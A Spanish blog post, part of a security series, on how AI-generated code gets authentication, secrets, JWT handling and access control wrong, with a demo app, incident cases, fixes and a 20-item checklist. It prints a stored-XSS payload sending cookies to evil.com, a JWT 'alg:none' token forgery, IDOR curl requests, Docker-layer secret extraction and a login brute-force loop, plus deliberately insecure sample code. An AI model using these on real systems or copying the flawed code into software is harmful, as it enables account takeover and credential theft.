Serie Vibe Coding Security
- ¿Qué es Vibe Coding Security? Guía de Campo para 2026
- El OWASP Top 10 para Aplicaciones Vibe-Coded
- Anatomía de una Brecha de Vibe Coding: Lecciones de los Peores Incidentes de 2026
- La Trampa de las Dependencias: Riesgos en la Cadena de Suministro del Código Generado por IA
- Autenticación y Secretos: Lo que la IA Siempre Hace Mal (estás aquí)
- [Escaneando Aplicaciones Vibe-Coded: Por Qué el SAST/DAST Tradicional Se Queda Corto] (https://simonroses.com/es/2026/05/escaneando-aplicaciones-vibe-coded-por-que-el-sast-dast-tradicional-se-queda-corto-parte-6/)
- Prompt Engineering para Código Seguro (próximamente)
- El Checklist de Seguridad del Fundador (próximamente)
- Securizando el Pipeline de Codificación con IA (próximamente)
- El Futuro de Vibe Coding Security (próximamente)
Tiempo de lectura: 22 minutos
TL;DR
La autenticación y la gestión de secretos es donde el código generado por IA falla de forma más consistente y más peligrosa. En 67 líneas de una app de demostración que construí para una conferencia de seguridad, la IA produjo secretos JWT hardcodeados, hashing de contraseñas con MD5, tokens que nunca expiran, vulnerabilidades XSS y cero limitación de tasa — todo en una aplicación funcional que parece completamente normal para una persona sin conocimientos de seguridad. GitGuardian encontró 29 millones de secretos hardcodeados en GitHub en 2025, un salto del 34% interanual, con commits asistidos por IA filtrando secretos a más del doble de tasa que el código escrito por humanos. La auditoría de Inigra en el primer trimestre de 2026 sobre más de 200 aplicaciones vibe-coded encontró que el 91,5% contenía al menos una vulnerabilidad de seguridad trazable a código generado por IA. Y cuando Lovable — una de las mayores plataformas de vibe coding — fue golpeada por una vulnerabilidad BOLA en abril de 2026, cinco llamadas API desde una cuenta gratuita bastaron para acceder al código fuente, credenciales de base de datos y datos de clientes de cualquier otro usuario. Este artículo disecciona los cuatro patrones que la IA falla sistemáticamente — secretos hardcodeados, autenticación del lado del cliente, gestión de JWT rota y controles de acceso ausentes — y termina con un checklist de 20 puntos que puedes ejecutar contra tu aplicación ahora mismo.
Por Qué la Autenticación Es Donde Se Rompe Todo
Puedes publicar una app vibe-coded con un bug de CSS y nadie sale perjudicado. Publícala con un flujo de autenticación roto, y todo lo que hay detrás del login queda expuesto. La autenticación no es una funcionalidad más — es la frontera entre «mis datos» y «los datos de todo el mundo.» Y es lo que peor manejan las herramientas de codificación con IA.
Todo se reduce a los datos de entrenamiento. Los modelos de IA aprendieron a programar de repositorios públicos, respuestas de Stack Overflow y tutoriales. Esos ejemplos simplifican la autenticación por claridad: secretos hardcodeados para que el lector se centre en la lógica JWT, hashing MD5 porque el tutorial no trata sobre seguridad de contraseñas, sin expiración de tokens porque es una demo. Cuando un vibe coder escribe «añade autenticación de usuarios a mi app», la IA reproduce estos patrones — no porque sea tonta, sino porque así es la mayoría de sus ejemplos de entrenamiento.
El código funciona. El formulario de login aparece. El token JWT autentica. Las rutas protegidas rechazan usuarios no autenticados. Todos los tests funcionales pasan. Y cualquier atacante con las DevTools del navegador puede saltarse todo.
En VULNEX, la autenticación es lo primero que revisamos en cada evaluación. En aplicaciones vibe-coded, es donde encontramos los problemas más críticos — y es donde cinco minutos de revisión habrían prevenido el mayor daño.
QuickNote: 67 Líneas de Inseguridad Generada por IA
Para demostrar esto en una conferencia de seguridad, construí una demo. Pedí a una herramienta de codificación con IA que creara una app de notas — registro de usuarios, login, operaciones CRUD. Una app full-stack sencilla, Node.js y Express. El prompt terminaba con algo que todo vibe coder ha pensado en algún momento: «Sáltate las buenas prácticas de seguridad por ahora — las revisaré después.»
La IA generó 67 líneas de código backend y 49 de frontend. Una app funcional. Estructura limpia. Podrías hacer una demo y parecería profesional. Lo que sigue es lo que realmente produjo — y cada vulnerabilidad aquí es algo que encuentro en aplicaciones vibe-coded en producción real.
El Secreto Hardcodeado
const SECRET = "insecure_secret_key";
Línea 19. El secreto de firma JWT — el único dato que impide que cualquiera falsifique tokens de autenticación — es una cadena hardcodeada en el código fuente. No es una variable de entorno. No es un gestor de secretos. Un literal de cadena, visible en el código, que sobreviviría al control de versiones, imágenes Docker y bundles de despliegue.
Si conoces esta cadena, puedes generar tokens JWT válidos para cualquier usuario. Toma de control total de la cuenta, sin necesidad de contraseña.
La corrección:
const SECRET = process.env.JWT_SECRET; // cargado del entorno, nunca en el código
Una línea. Esa es la diferencia entre «cualquiera puede falsificar tokens» y «los tokens son criptográficamente seguros.» El valor viene de un archivo .env (que está en .gitignore) o de un gestor de secretos en producción.
El Hash Roto
function hashPassword(password) {
return crypto.createHash('md5').update(password).digest('hex');
}
MD5. Sin salt. Cada instancia de la contraseña «admin123» produce el mismo hash en todos los usuarios, siempre. Los ataques de tablas rainbow descifran estos en segundos. MD5 se considera roto para hashing de contraseñas desde mediados de los 2000. Pero aparece constantemente en código generado por IA, porque es simple y aparecía en miles de tutoriales con los que el modelo entrenó.
La IA eligió el enfoque del tutorial, no el enfoque de producción.
La corrección:
const bcrypt = require('bcrypt');
async function hashPassword(password) {
return bcrypt.hash(password, 12); // salt por usuario, 12 rondas
}
bcrypt genera un salt único por usuario automáticamente y es deliberadamente lento — esa lentitud es el objetivo. ¿Cuánto de lento? MD5 hashea una contraseña en aproximadamente un microsegundo (0,000001 segundos) en Node.js. bcrypt con 12 rondas tarda unos 0,3 segundos. Eso es una diferencia de 300.000x. Una base de datos de contraseñas de 10.000 usuarios hasheada con MD5 — sin salt, así que solo necesitas hashear cada contraseña candidata una vez — se puede crackear completamente contra el diccionario rockyou.txt (14,3 millones de entradas) en menos de un minuto. La misma base de datos con bcrypt? Cada usuario tiene un salt único, así que tienes que rehashear los 14,3 millones de candidatos por usuario. En una CPU de 10 núcleos, eso son aproximadamente 136 años. Los equipos de cracking con GPU reducen esto significativamente — pero incluso un clúster de GPUs de gama alta lo baja a años, no a minutos. Esas son las matemáticas detrás de «usa bcrypt.»
El Token Inmortal
const token = jwt.sign({ id: user.id, username: user.username }, SECRET);
Sin expiración. Este JWT es válido para siempre. Una vez emitido, nunca necesita ser renovado. Si es interceptado, robado o filtrado, proporciona acceso permanente a la cuenta. Sin parámetro expiresIn. Sin mecanismo de refresh token. Sin forma de invalidar una sesión comprometida.
La corrección:
const token = jwt.sign(
{ id: user.id, username: user.username },
process.env.JWT_SECRET,
{ expiresIn: '1h' } // el token muere en una hora
);
Un objeto de opciones. Eso es lo que separa «acceso permanente si es robado» de «ventana de una hora.»
El Punto de Inyección XSS
notes.innerHTML = data.map(n => `
<li>${n.content}</li>`).join('');
En el frontend, el contenido de las notas se inyecta directamente en el DOM vía innerHTML sin ninguna sanitización. Almacena <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> como nota, y cada vez que la página renderiza, el script se ejecuta. En un contexto multiusuario, esto es XSS almacenado — la variante más peligrosa.
La corrección:
notes.textContent = ''; // limpia de forma segura
data.forEach(n => {
const li = document.createElement('li');
li.textContent = n.content; // textContent escapa HTML automáticamente
notes.appendChild(li);
});
textContent en vez de innerHTML. El navegador trata el contenido como texto, no como marcado ejecutable. Sin necesidad de biblioteca de sanitización.
Lo que Falta
Más allá de lo que hay en el código, fíjate en lo que no hay: sin limitación de tasa en el login, sin forzar HTTPS, sin configuración CORS, sin validación de entrada en el endpoint de registro, sin requisitos de complejidad de contraseña, sin bloqueo de cuenta, sin registro de eventos de autenticación.
La ausencia de limitación de tasa merece números. Sin ella, un atacante puede enviar peticiones de login tan rápido como el servidor responda — fácilmente más de 100 por segundo contra una app Express típica. El diccionario rockyou.txt contiene 14,3 millones de contraseñas. A 100 peticiones/segundo, eso son 39 horas para probar absolutamente todas. Pero la mayoría de usuarios eligen contraseñas comunes: las 1.000 contraseñas más frecuentes cubren aproximadamente el 14% de todas las cuentas. A 100 peticiones/segundo, esos 1.000 intentos tardan diez segundos. Diez segundos para comprometer una de cada siete cuentas — porque la IA no añadió express-rate-limit, un middleware de cinco líneas.
Cada uno de estos es una vulnerabilidad. La IA los produjo todos en 67 líneas. Y la app funciona — que es exactamente la razón por la que nadie los detecta hasta que es demasiado tarde.
Patrón 1: Secretos Hardcodeados — El Problema a Escala
El const SECRET = "insecure_secret_key" de QuickNote es una línea en una demo. El problema es que este patrón exacto se repite en millones de repositorios.
Los Números
El informe State of Secrets Sprawl 2026 de GitGuardian encontró 29 millones de secretos hardcodeados en GitHub en 2025 — un aumento interanual del 34% y el mayor salto en un solo año que han registrado. Las credenciales de servicios de IA específicamente aumentaron un 81%, con 1,27 millones de tokens relacionados con IA expuestos.
La conexión con el vibe coding es directa: GitGuardian midió que los commits asistidos por Claude Code filtraban secretos en un 3,2% frente al 1,5% del baseline en todos los commits públicos — más del doble de tasa. La IA no distingue entre «este es un valor que debería externalizar» y «este es un valor que el código necesita.» Pone la clave API donde el código funciona, que es inline.
Tu .env Tampoco Es Seguro
Pensarías que la solución es sencilla — pon los secretos en .env y mantenlos fuera del código. Pero la investigación de Knostic demostró que herramientas como Cursor y Copilot leen activamente archivos .env durante la construcción de contexto, exponiendo efectivamente secretos a la API cloud del modelo. El secreto que cuidadosamente pusiste en una variable de entorno se incorpora a la ventana de contexto de la IA, y puede acabar reproducido en código generado en otra parte.
Así que la IA lee tus secretos del .env, y luego los hardcodea en el siguiente archivo que genera. El patrón se retroalimenta.
Va a peor en el despliegue. Las herramientas de IA generan frecuentemente Dockerfiles que copian todo el directorio del proyecto en la imagen, incluyendo .env:
COPY . /app # copia todo, incluyendo .env
RUN npm install
Aunque después borres .env dentro del contenedor, las imágenes Docker funcionan por capas. El archivo persiste en la capa anterior. Cualquiera que descargue la imagen puede extraerlo:
docker history --no-trunc
<imagen>
docker save
<imagen> | tar -xf - -C /tmp/layers
# buscar secretos en las capas
grep -r "API_KEY\|SECRET\|DATABASE_URL" /tmp/layers/
La solución es un archivo .dockerignore que excluya .env, node_modules y cualquier otro archivo sensible — y pasar los secretos en tiempo de ejecución vía Docker secrets o inyección de variables de entorno. Pero los Dockerfiles generados por IA casi nunca incluyen un .dockerignore. Optimizan para «el build funciona», no para «el build es seguro.»
Consecuencias Reales
En marzo de 2026, un desarrollador recibió una factura de 82.314 dólares después de que una clave API de Google embebida en el JavaScript frontend de su web fuese robada. La clave se creó originalmente para Google Maps — bajo riesgo, pública por diseño. Pero cuando Google lanzó Gemini, las claves de Maps existentes ganaron acceso silenciosamente a los endpoints de Gemini. Los atacantes encontraron la clave expuesta, automatizaron peticiones contra Gemini Pro, y acumularon 82.000 dólares en 48 horas. El gasto mensual normal del desarrollador era de 180 dólares. Este es exactamente el patrón que las apps vibe-coded reproducen a escala: claves API embebidas en JavaScript del lado del cliente, visibles para cualquiera que abra el código fuente de la página.
Y los secretos filtrados no se limpian. GitGuardian encontró que el 64% de los secretos detectados en 2022 seguían válidos y sin revocar en 2026. Cuando una IA pone una clave en tu bundle de frontend y ese bundle se despliega en un CDN, la clave es pública para siempre — a menos que la revoques y rotes, cosa que la mayoría de equipos no hace.
Qué Comprobar
Ejecuta Gitleaks o TruffleHog contra tu código ahora mismo. Busca cadenas hardcodeadas que parezcan claves API, cadenas de conexión a base de datos o secretos JWT. Revisa tu bundle de frontend — cualquier cosa en JavaScript del lado del cliente es pública. Si encuentras secretos, revócalos inmediatamente, rota a nuevas credenciales, y muévelos a variables de entorno o un gestor de secretos.
Patrón 2: Autenticación del Lado del Cliente — La Puerta Sin Cerrojo
El Patrón
Este es el patrón Enrichlead de la Parte 3 a escala industrial. Las herramientas de codificación con IA colocan consistentemente las comprobaciones de autenticación y autorización en código frontend donde son trivialmente evitables. El paywall es un render condicional en React. El panel de administración está oculto por una clase CSS. El endpoint de API existe y funciona — el frontend simplemente no muestra el botón a usuarios no autenticados.
Los Datos
La investigación de Wiz sobre aplicaciones vibe-coded identificó cuatro patrones sistemáticos de misconfiguración, y la autenticación del lado del cliente encabezó la lista. Sus hallazgos: las herramientas de IA generan lógica de autenticación que optimiza para la experiencia de usuario — mostrando y ocultando elementos de UI — sin implementar la verificación correspondiente en el servidor. El resultado son aplicaciones donde cada funcionalidad protegida está a un comando curl de ser accedida por cualquiera.
La auditoría Q1 2026 de Inigra de más de 200 aplicaciones vibe-coded encontró que el 91,5% contenía al menos una vulnerabilidad de seguridad trazable a código generado por IA, con más del 60% exponiendo credenciales hardcodeadas. La plataforma Lovable — una de las herramientas de vibe coding más populares, valorada en 6.600 millones de dólares con ocho millones de usuarios — estuvo en el centro de múltiples incidentes de seguridad a principios de 2026, con investigadores descubriendo que más de 170 apps construidas en la plataforma tenían tablas de Supabase consultables por cualquiera que tuviese la clave pública anon.
Una parte significativa de estas involucraba misconfiguraciones de Supabase. Así es como se ve el código típico generado por IA para Supabase:
-- Lo que la IA genera (MAL):
CREATE TABLE notes (
id SERIAL PRIMARY KEY,
user_id UUID REFERENCES auth.users,
content TEXT
);
-- Sin política RLS. Cualquier usuario autenticado puede leer/escribir todas las filas.
-- Con la clave anon, incluso usuarios no autenticados pueden acceder a la tabla.
-- Lo que debería generar:
CREATE TABLE notes (
id SERIAL PRIMARY KEY,
user_id UUID REFERENCES auth.users,
content TEXT
);
ALTER TABLE notes ENABLE ROW LEVEL SECURITY;
CREATE POLICY "Los usuarios solo pueden acceder a sus propias notas"
ON notes FOR ALL
USING (auth.uid() = user_id)
WITH CHECK (auth.uid() = user_id);
Cuatro líneas de SQL. Esa es la diferencia entre «cualquiera puede leer tu base de datos» y «los usuarios solo ven sus propias filas.» La IA omite ENABLE ROW LEVEL SECURITY y la política porque no las necesita para que el código funcione. La clave anon de Supabase, que está diseñada para ser pública, a menudo se confunde con la clave service_role, que absolutamente no debe ser pública. La IA no distingue la diferencia. Usa la clave que hace que el código funcione.
Por Qué la IA Hace Esto
La IA optimiza para lo que pediste. «Añade autenticación a mi app» significa «muestra una pantalla de login y protege las rutas.» La IA entrega exactamente eso — en el frontend. No añade espontáneamente middleware del lado del servidor, porque no pediste middleware. No implementa RBAC, porque pediste autenticación, no autorización. Produce la implementación mínima viable de lo que describiste, y en ese contexto, «autenticación» se reduce a una comprobación del lado del cliente.
Esta es la superficie de decisión invisible de la Guía de Campo. La IA decidió dónde poner la comprobación de autenticación, decidió no añadir validación del lado del servidor, decidió usar la clave anon en vez de implementar políticas RLS adecuadas. El desarrollador nunca vio ninguna de esas decisiones. La app funcionaba, así que pasó a lo siguiente.
Qué Comprobar
Abre la pestaña de red de tu navegador. ¿Puedes hacer peticiones API directamente, saltándote el frontend? Si tu API devuelve datos sin validar una sesión o token del lado del servidor, tu autenticación es solo del lado del cliente. Prueba cada endpoint — no solo los que la UI expone. Intenta acceder a endpoints de admin como usuario regular. Intenta acceder a datos de otros usuarios modificando IDs en las peticiones. Si algo de esto funciona, tienes un problema de autenticación del lado del cliente.
Patrón 3: JWT y Gestión de Sesiones Rotos
Los Fallos Estándar
JWT es el mecanismo de autenticación por defecto del código generado por IA. La IA recurre a él porque es stateless, está bien documentado y aparece en miles de ejemplos de entrenamiento. Pero las implementaciones están consistentemente rotas de las mismas formas:
Sin expiración. El ejemplo de QuickNote no establece parámetro expiresIn. El token es válido para siempre. Veo esto en aproximadamente la mitad de las aplicaciones vibe-coded que reviso — la IA genera la llamada jwt.sign() y no añade la opción de expiración porque el tutorial del que aprendió no la incluía.
Secretos de firma débiles o hardcodeados. «secret», «my_jwt_secret», «insecure_secret_key» — estos aparecen literalmente en aplicaciones en producción. La IA los toma de sus datos de entrenamiento, donde eran valores de marcador de posición en la documentación. Un secreto de firma débil significa que cualquiera puede falsificar tokens.
El algoritmo «none». JWT soporta un algoritmo llamado none que produce tokens sin firma — diseñado para entornos de desarrollo donde la verificación de firma añade sobrecarga. Las herramientas de IA ocasionalmente generan implementaciones JWT que aceptan el algoritmo none, o que lo incluyen en un array de algoritmos permitidos. Así es como funciona el ataque en la práctica:
# Paso 1: Tomar un JWT legítimo y dividirlo en sus tres partes (header.payload.signature)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJ1c2VyIn0.signature_here"
# Paso 2: Crear una nueva cabecera con alg establecido a "none"
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# Paso 3: Modificar el payload (p.ej., cambiar el ID de usuario al del admin)
echo -n '{"id":1,"username":"admin"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9
# Paso 4: Concatenar con una firma vacía
FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9."
# Paso 5: Usarlo
curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin/users
Cinco comandos. Sin necesidad de secreto. Si el servidor lo acepta, tienes acceso total de admin. La corrección es especificar siempre el algoritmo permitido explícitamente en la llamada de verificación — jwt.verify(token, secret, { algorithms: ['HS256'] }) — para que el servidor rechace cualquier token que afirme usar un algoritmo diferente.
Sin invalidación de tokens. La autenticación generada por IA raramente implementa revocación de tokens, rotación de refresh tokens o invalidación de sesiones. Si un usuario cambia su contraseña, sus tokens antiguos siguen funcionando. Si un administrador necesita forzar el cierre de sesión de un usuario, no hay mecanismo para hacerlo.
OAuth y Login Social: El Atajo Engañoso
«Añade login con Google a mi app» parece la opción segura — que Google se encargue de lo difícil. Pero las implementaciones OAuth generadas por IA introducen sus propios fallos. Los más comunes: omitir el parámetro state (que previene ataques CSRF en el flujo de login), saltarse PKCE (Proof Key for Code Exchange, ahora obligatorio bajo OAuth 2.1), y almacenar tokens de acceso en el lado del cliente en variables JavaScript o localStorage donde cualquier vulnerabilidad XSS puede robarlos.
La IA genera el flujo OAuth que funciona en el camino feliz — el usuario pulsa «Iniciar sesión con Google», es redirigido, vuelve autenticado. Pero las propiedades de seguridad de OAuth dependen de detalles de implementación que la IA omite consistentemente, porque los tutoriales con los que entrenó también los omiten.
El Problema Compuesto
Estos fallos se componen. Un token que nunca expira, firmado con un secreto adivinable, usando una biblioteca que acepta el algoritmo none — eso no es una vulnerabilidad, es una puerta abierta con la llave pegada en el marco. Y como JWT es stateless por diseño, no hay sesión del lado del servidor que inspeccionar o revocar. El token es la sesión. Si el token está comprometido, la sesión está comprometida hasta que se rote el propio secreto de firma, lo que invalida cada sesión activa de cada usuario.
Qué Comprobar
Decodifica uno de tus JWTs en jwt.io. ¿Tiene un claim exp? Si no, tus tokens nunca expiran. Comprueba tu secreto de firma — ¿es una cadena corta y adivinable, o una clave generada aleatoriamente de forma adecuada? Prueba si tu API acepta tokens firmados con el algoritmo none. Y comprueba si cambiar la contraseña de un usuario invalida sus tokens existentes.
Patrón 4: Controles de Acceso Ausentes — Cuando Todo el Mundo Es Admin
El Patrón
Incluso cuando la IA acierta con la autenticación — el usuario puede iniciar sesión, el token se valida en el servidor, la sesión tiene expiración — casi nunca implementa autorización adecuada. La autenticación responde a «¿quién eres?» La autorización responde a «¿qué tienes permitido hacer?» La IA maneja la primera pregunta. Ignora la segunda.
La app típica generada por IA tiene dos roles: conectado y no conectado. Eso es todo. Sin distinción admin vs. usuario regular. Sin permisos a nivel de recurso. Sin controles de acceso a nivel de fila más allá de comprobaciones básicas de «tu ID de usuario coincide con el ID del registro» — y incluso esas son inconsistentes.
Referencias Directas Inseguras a Objetos (IDOR)
Este es el fallo de control de acceso más común en apps vibe-coded. La API usa IDs enteros secuenciales: /api/notes/1, /api/notes/2, /api/notes/3. La IA genera endpoints que obtienen registros por ID sin verificar que el usuario solicitante sea el propietario de ese registro. Así es el ataque completo:
# Autenticarse como Usuario A (ID de usuario: 42)
TOKEN=$(curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"email":"usuarioa@test.com","password":"password123"}' \
| jq -r '.token')
# Acceder a las notas del propio Usuario A — el endpoint obtiene notas por ID de usuario
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/42/notes
# {"notes": [{"id": 101, "content": "Nota privada del Usuario A"}]}
# Ahora pedir las notas del Usuario B (ID de usuario: 43) — mismo token, distinto ID de usuario en la URL
curl -H "Authorization: Bearer $TOKEN" https://target.com/api/users/43/notes
# {"notes": [{"id": 205, "content": "Nota privada del Usuario B"}]} ← IDOR
Tres peticiones. El token del Usuario A da acceso a las notas del Usuario B porque el endpoint comprueba autenticación («¿es este un token válido?») pero no autorización («¿pertenece este token al usuario 43?»). El ID de usuario en la URL controla de quién se devuelven los datos, y el servidor nunca verifica que coincida con el usuario autenticado.
La app QuickNote en realidad lo hace parcialmente bien — limita la consulta de notas por userId. Pero muchas apps generadas por IA no lo hacen. E incluso QuickNote no impide que un usuario modifique o elimine notas de otro si conoce el ID de la nota, porque las operaciones de actualización y eliminación (que la IA ni siquiera generó — una funcionalidad ausente que en sí misma es una brecha de seguridad) no incluirían necesariamente la comprobación de propiedad.
Caso Real: La Brecha BOLA de Lovable
En abril de 2026, investigadores de seguridad divulgaron una vulnerabilidad de Autorización Rota a Nivel de Objeto (BOLA) en Lovable — la plataforma de vibe coding valorada en 6.600 millones de dólares. Los endpoints de API /projects/{id}/* verificaban tokens de autenticación de Firebase pero omitían completamente las comprobaciones de propiedad. Cinco llamadas API desde una cuenta gratuita bastaban para acceder al código fuente, credenciales de base de datos, historiales de chat con IA y datos de clientes de cualquier otro usuario. Todos los proyectos creados antes de noviembre de 2025 quedaron expuestos. Los investigadores encontraron datos de empleados de Nvidia, Microsoft, Uber y Spotify en los proyectos accesibles.
Este es el Patrón 4 en su forma más pura. La autenticación funcionaba — necesitabas un token válido de Firebase. La autorización estaba ausente — ese token válido te dejaba leer los datos de cualquiera. La plataforma dejó la vulnerabilidad abierta durante 48 días después del informe inicial, cerró informes de seguimiento como duplicados, y al principio calificó los datos expuestos como «comportamiento intencionado.»
La brecha de Lovable merece estudio porque no ocurrió en el proyecto paralelo de alguien. Ocurrió en la propia plataforma — la herramienta en la que millones de vibe coders confían para generar sus aplicaciones. Si la plataforma no consigue hacer bien la autorización, ¿qué probabilidades hay de que las apps construidas sobre ella lo hagan?
Por Qué la IA Falla en Esto
La autorización es inherentemente contextual. Depende de la lógica de negocio — quién debería ver qué, quién puede editar qué, qué acciones requieren privilegios elevados. La IA no puede inferir tus reglas de negocio de un prompt como «construye una app de notas.» Te da la implementación funcional más simple: los usuarios autenticados pueden acceder a sus propios datos. Cualquier cosa más compleja — roles de admin, acceso basado en equipos, recursos compartidos con permisos granulares — requiere diseño explícito que el vibe coder nunca especificó.
Este es uno de los puntos donde la brecha entre «app funcional» y «app segura» es más amplia. La app funciona para cada usuario en aislamiento. Solo falla cuando un usuario intenta acceder a los datos de otro — un caso de prueba que los vibe coders casi nunca ejecutan, porque están probando sus propias funcionalidades, no probando contra otros usuarios.
Qué Comprobar
Inicia sesión como Usuario A. Intenta acceder a los recursos del Usuario B manipulando IDs, parámetros o rutas de API. Si cualquier acceso entre usuarios funciona, tienes IDOR. Comprueba si los endpoints de administración requieren un rol de admin o solo un token válido. Comprueba si las operaciones sensibles (eliminar cuenta, cambiar email, exportar datos) tienen requisitos de autorización adicionales más allá de la autenticación básica.
El Checklist de Autenticación y Secretos
Ejecuta esto contra tu aplicación vibe-coded antes de publicar. Cada elemento se corresponde con un patrón anterior.
Secretos:
- Sin claves API, tokens o credenciales en el código fuente — ejecuta
gitleaks detect --source .otrufflehog filesystem . - Todos los secretos cargados desde variables de entorno o un gestor de secretos —
grep -r "const.*=.*['\"]sk-\|key\|secret\|password" src/ - El JavaScript del frontend contiene cero secretos — inspecciona tu bundle compilado:
grep -r "API_KEY\|SECRET\|Bearer" dist/ - Los archivos
.envestán en.gitignore— verifica que nunca se hayan commiteado:git log --all --diff-filter=A -- '*.env' - Las credenciales de base de datos usan cuentas de mínimo privilegio — no la cadena de conexión root/admin
Autenticación:
- Todas las comprobaciones de autenticación se hacen en el servidor —
curl -X GET https://tuapp.com/api/protectedsin token. Si devuelve datos, tu autenticación está rota - Contraseñas hasheadas con bcrypt o Argon2 — no MD5, no SHA-256 sin salt
- Los tokens JWT incluyen claim
exp— decodifica tu token en jwt.io y comprueba el payload - El secreto de firma JWT tiene al menos 256 bits de aleatoriedad —
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"genera uno adecuado - El endpoint de login tiene limitación de tasa —
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -X POST https://tuapp.com/api/login -d '{"email":"test@test.com","password":"wrong"}'; done— si nunca recibes un 429, no tienes limitación de tasa
Autorización:
- Cada endpoint de API comprueba permisos de usuario — no solo autenticación
- El acceso a recursos verifica propiedad — inicia sesión como Usuario A, luego `curl -H «Authorization: Bearer » https://tuapp.com/api/resources/` — si devuelve datos del Usuario B, tienes IDOR
- Las funciones de admin requieren rol de admin — prueba endpoints de admin con el token de un usuario regular
- Las operaciones sensibles requieren re-autenticación o verificación adicional
OAuth (si usas login social):
- El flujo OAuth incluye parámetro
statepara protección CSRF - PKCE está habilitado (busca
code_verifierycode_challengeen la petición de autenticación) - Los tokens de acceso se almacenan en el servidor, no en
localStorageo variables JavaScript
Gestión de Sesiones:
- Los tokens expiran en una ventana razonable (horas, no nunca)
- Los cambios de contraseña invalidan sesiones existentes
- Existe un mecanismo para forzar la revocación de tokens comprometidos
Esto no es una evaluación de seguridad completa. Pero si tu app vibe-coded falla en cualquiera de estos 20 puntos, tienes una vulnerabilidad crítica que necesita arreglo antes del lanzamiento. Ampliaré esto en un checklist completo para fundadores en la Parte 8 de esta serie.
Lo que Deberías Llevarte de Esto
La demo de QuickNote tiene 67 líneas. Tu app probablemente tiene miles. Cada línea de código de autenticación generada por IA conlleva los mismos riesgos que he mostrado aquí — secretos hardcodeados, comprobaciones del lado del cliente, sesiones rotas, controles de acceso ausentes. La brecha de Lovable demostró que esto no es teórico. El fundador de Enrichlead de la Parte 3 pensó que revisaría la seguridad después. Estaba cerrando en menos de una semana.
Ejecuta el checklist de arriba hoy, no después del lanzamiento. Cada llamada a jwt.sign(), cada hash de contraseña, cada middleware de autenticación que la IA produce necesita una revisión manual — ¿esta comprobación se hace en el servidor, este secreto está externalizado, este token expira, este endpoint verifica autorización y no solo autenticación? Esas preguntas llevan segundos por función, y son la diferencia entre una demo funcional y una aplicación segura.
En VULNEX, los problemas de autenticación aparecen en prácticamente cada aplicación vibe-coded que revisamos — y casi siempre son los hallazgos de mayor gravedad. Mi flujo de trabajo: ejecutar Gitleaks contra el repositorio, revisar el bundle del frontend buscando claves expuestas, probar cada endpoint de API sin el frontend, decodificar los JWTs. Paso las dependencias por npmscan y las contrasto con la base de datos de vulnerabilidades de Snyk — las bibliotecas relacionadas con autenticación son siempre las primeras que reviso.
La IA te construirá una pantalla de login que parece profesional y funciona en una demo. Conseguir que construya autenticación que aguante frente a un atacante real requiere juicio humano y la disciplina de revisar antes de publicar.
Como siempre: no te fíes de nada, verifica todo.
- X (Twitter): @SimonRoses
Lecturas Adicionales
- ¿Qué es Vibe Coding Security? Guía de Campo para 2026 — Parte 1 de esta serie
- El OWASP Top 10 para Aplicaciones Vibe-Coded — Parte 2 de esta serie
- Anatomía de una Brecha de Vibe Coding: Lecciones de los Peores Incidentes de 2026 — Parte 3 de esta serie
- La Trampa de las Dependencias: Riesgos en la Cadena de Suministro del Código Generado por IA — Parte 4 de esta serie
- Moltbook: Cuando los Agentes de IA Construyen su Propia Red Social — Fallos de Supabase RLS en plataformas vibe-coded
Referencias
- GitGuardian (2026). The State of Secrets Sprawl 2026.
- Knostic (2025). AI Coding Tools & Secret Leakage: Claude, Cursor, and .env Files.
- Wiz (2026). Common Security Risks in Vibe-Coded Apps.
- Inigra (2026). Lovable Just Proved Everything We Found in Our 600K Line Audit.
- Lovable (2026). Vibe Coding Security: Addressing Vulnerabilities in AI-Generated Applications.
- Breached.Company (2026). Five API Calls From a Free Account: How Lovable Exposed Every Project Built Before November 2025.
- The Next Web (2026). Lovable Security Crisis: 48 Days of Exposed Projects.
- The Register (2026). Dev Stunned by $82K Gemini API Key Bill After Theft.
- Veracode (2026). Spring 2026 GenAI Code Security Update.
- OWASP (2025). JWT Security Cheat Sheet.
- OWASP (2025). Authentication Cheat Sheet





